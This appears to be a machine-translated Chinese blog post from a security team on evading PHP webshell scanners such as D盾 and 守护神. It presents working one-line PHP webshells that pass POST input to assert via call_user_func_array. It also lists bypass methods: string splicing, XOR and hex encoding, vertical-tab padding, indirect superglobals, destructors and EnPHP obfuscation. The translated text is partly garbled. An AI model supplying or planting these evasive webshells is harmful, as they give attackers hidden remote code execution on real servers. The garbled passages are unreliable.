php 字符串拼接-D盾-守护者phpbypass(第1部分)

2023-08-23 0 583 百度已收录

破军安全实验室

以翔科技旗下高端网络安全攻防服务团队。 安全服务包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等。

本文约3300字,阅读时间约8分钟。

0x00 前导码

包装和屠宰是相辅相成的过程。 没有一种方法可以全部打包通过,更多的是根据目标进行测试和研究。

截图的顺序是乱的,所以一些测试项的一些不相关的文件名是不同的。

ü 如果目标是关键字(正则匹配)查杀,则使用不敏感函数

ü以类和类破坏的形式绕过弱动态扫描

你不直接使用$_GET和$_POST来获取数据,那里是123456e123456(php7可用)

ü XOR、十六进制传递明文字符

ü 偏坐位,如文件包含、反序列化、新进程执行等。

ü长亭、百度等网杀可以考虑php混淆和加密绕过

ü 当遇到waf时,去preg_replace和preg_replace_callback讨论一下

因为网上的查杀可能会被引擎收录,所以我们测试了两个地址,可以看到是不一样的,没有哪个引擎能找到所有的查杀

WEBDIR+ - WebShell 扫描服务 - OpenRASP 团队

https://scanner.baidu.com/#/pages/intro

SHELLPUB.COM在线查杀

php 字符串拼接-D盾-守护者phpbypass(第1部分)

https://n.shellpub.com/

大型网站上常见

D盾、云锁、保安狗、守护神

引用大鳄的话,“目前主流的木马查杀方式有:静态检测、动态监控、日志检测。

A。 静态检测通过匹配特征码、危险函数和木马特征值来查杀木马程序。 其特点是快速、方便,对已知木马程序的准确率较高。 其缺点是误报率较高。 0day木马程序很难发现,而且很容易被绕过。

b. 动态测量是通过木马程序的动态特性来测量的。 当木马程序上传到服务器后,攻击者总会执行它。 木马程序执行时表现出的特征就是所谓的动态特征。

C。 日志检查主要通过日志分析度量技术来实现,主要通过分析大量日志文件并改进请求模型来度量异常文件。 其优点在于,当网站的流量水平达到一致值时,这些测量方法具有较大的参考价值。 其缺点是存在一定的误报率。 对于大量的日志文件,检查工具的处理能力和效率会变得比较低。 ”

套用掠夺者的说法,“调用eval等代码执行函数,最终都会调用php内核的zend_compile_string函数,所以这个函数里只用Hook来住。”等安全防护产品的“一字WebShell免疫” D盾和云锁都是基于这个道理,无论你怎么改一句话,最终还是逃不出这扇门。

如今新版本的入侵防护产品不仅会hook代码执行,还会做文件IO和命令执行,并根据web文件的行为来判断是否是webshel​​l。 ”

自己实际研究,环境如下,php版本5.6

D-shield 2.1.6版本,查杀数据库已更新(大量查杀规则不更新)

守护神也已更新

‍‍0x01D‍‍屏蔽包装测试

最新版本的坐骑如蚁剑、冰蝎、哥斯拉等都被标记为已知侧门

使用守护神极限模式搜杀,所有关键词都报,“菜刀包一个字”不报

这些关键词很容易绕过,所以我们还是主要研究D盾绕过,最后测试时只用D盾和守护神一起扫杀。

最后看一下云锁扫描结果22/34,也有绕过

安曲沟最差,只能识别已知的侧门

收集几款新的“免杀马”,经过测试GodzillabypassD.php、phpbypass202011.php这两个确实是加壳的

哥斯拉

测试哥斯拉的连接,这里需要2.9版本,3.03版本的加密设备无法匹配(初始化失败)

敏感函数base64_decode的定制实现

使用class+nvoke绕过检查并执行eval

99999e9999999

php 字符串拼接-D盾-守护者phpbypass(第1部分)

重点是这个。 我还是第一次见你用99999e9999999来绕过它。 我坐起来了

将post改为获取表单,并在浏览器中传递值。 看,我发现参数1的值确实已经正式参数化为[0]

再次传入phpinfo(); 测试,执行成功

测试发现只有科学数字足够大才能达到疗效

0x02绕过研究

包装方法如下

拼接、拦截、翻转、编码、类型转换,主要用于正则匹配和查杀绕过

以断言为例

改拼接:"a"."s"."s"."ert"$a="asse"$b="rt"$c=$a.$b改截取:$a="aasseerrtt"再自定义函数取字符串单或者双数位置,形成assert

比较复杂的是“编码+(数字转字符)”的处理

字符串翻转同上,通常是多种方法的组合

编码一般是base64或者url,但是现在的waf支持一层解码查杀,要看是性能还是安全

类型转换就是将int类型转换为字符进行拼接,或者在转换前用数字预估目标值

话不多说,比如将assert、eval的调用方式改为call_user_func_array()或call_user_func()

使用工具对 php 代码进行混淆和加密。 注意,如果代码量太小,则无法加密。 缺点是会降低性能成本,但这与我们无关

php 字符串拼接-D盾-守护者phpbypass(第1部分)

原始代码

混淆和加密后的EnPHP(已开源)

http://enphp.djunny.com

罐头等级从 4 降至 1

使用&&符号执行同一行的所有代码php 字符串拼接php 字符串拼接,绕过正则匹配类查杀

<?php   ($a = 'assert')&&($b =$_POST['a'])&&call_user_func_array($a, array($b));?>

简单不多解释,玄学被绕过,实测有时加个斜线反而会被杀

call_user_func_array变为call_user_func_array

随意写一个函数,并隐藏函数上的代码执行。 之前的研究都会常用到,这里就不展示了。

或者使用类的析构函数来实现执行

比如base64_decode、substr这样敏感的自写函数,Godzilla是自写实现的base64decode,经常被绕过不显示

如果在使用参数之前对语句进行处理,实际测试对绕过影响不大

$a==$a?$a:$a$a==$a?$a:"error"

随机选择一个通配符进行绕过,这里我选择垂直制表符。实测疗效一般,只能绕过正则匹配类型的查杀

<?php   $b=$_POST['a'];   $a="x0Bassert";   call_user_func_array(trim($a), array($b));?>

最后,请记住在使用垂直制表符时​​使用修剪或其他功能来消除空格。

常用的打包方法是使用XOR来隐藏关键字。 虽然可以算是一种加密绕过,但是无论XOR还是aes,在没有相应秘钥的情况下都很难直接获得明文代码。

XOR处理足够简单且有效。 加上编码操作后,看起来花样还蛮多的。 XOR 具有单字符、多字符和循环转换。 通常是多字符异或,即abcd^1234

通常,明文字符会被编码成十六进制,用于避免关键字查杀

一些弱匹配可以通过添加注释来规避。 常见且简单的bypass形式可以随意添加,只要不影响参数和函数定义的使用即可。

共同手段。

在PHP中,$var(单港币)代表一个名为var的普通变量,它存储字符串、整数、浮点数等任意值。而$$var(双港币)是一个引用变量,用于存储$var 的值。

这个东西可以理解为c的函数指针,即有一个函数abc(),定义*a=abc(),$$a就是**a=*a,不写也没关系不懂,你知道php上的函数可以这样引用就OK

传递参数时,不要直接使用$_GET和$_POST,而是使用$_REQUEST、$GLOBALS、$_SESSION、$_SERVER中的参数来间接传递值,这样确实可以绕过很多检查

无意间翻到了ctf序列化文件,测试了一下,发现可以通过查杀。 序列化文件中有一个eval函数报告检查和查杀,对应的反序列化则没有报告。 这种编码加密的组合也有很多坐姿

网络访问效率

但网上查杀#/pages/intro过不了

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php 字符串拼接-D盾-守护者phpbypass(第1部分) https://www.wkzy.net/game/145469.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务